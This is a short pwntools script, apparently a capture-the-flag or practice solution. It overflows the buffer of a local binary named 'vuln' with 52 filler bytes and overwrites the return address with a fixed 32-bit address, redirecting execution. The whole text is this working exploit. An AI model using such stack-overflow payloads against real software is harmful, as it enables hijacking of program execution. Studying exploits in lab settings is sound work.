from pwn import * p = process('./vuln') payload = b'A' * 52 payload += p32(0x0804920f) log.info(p.clean()) pause() p.sendline(payload) log.info(p.clean())